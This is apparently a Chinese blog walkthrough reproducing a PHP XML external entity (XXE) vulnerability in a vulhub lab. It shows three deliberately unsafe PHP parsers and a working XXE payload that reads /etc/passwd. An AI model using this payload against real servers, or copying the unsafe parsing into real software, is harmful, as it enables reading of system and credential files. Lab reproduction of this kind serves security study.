PHP环境 XML外部实体注入漏洞(XXE)

PHP环境 XML外部实体注入漏洞(XXE)

简介:

  • PHP 7.0.30
  • libxml 2.8.0

复现环境vulhub

exec进入docker
PHP环境 XML外部实体注入漏洞(XXE)_第1张图片
有三个文件
dom.php 使用DOMDocument解析body
SimpleXMLElement.php 使用SimpleXMLElement类解析body
simplexml_load_string.php 使用simplexml_load_string函数解析body
相应代码如下

root@e1ccaae36891:/var/www/html# cat dom.php 
<?php
$data = file_get_contents('php://input');

$dom = new DOMDocument();
$dom->loadXML($data);

print_r($dom);
root@e1ccaae36891:/var/www/html# cat SimpleXMLElement.php 
<?php
$data = file_get_contents('php://input');
$xml = new SimpleXMLElement($data);

echo $xml->name;
root@e1ccaae36891:/var/www/html# cat simplexml_load_string.php 
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);

echo $xml->name;
root@e1ccaae36891:/var/www/html# 

简单的payload

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

也有其他的dos blind 文件读取 命令执行之类的payload 百度都有

PHP环境 XML外部实体注入漏洞(XXE)_第2张图片

你可能感兴趣的:(复现)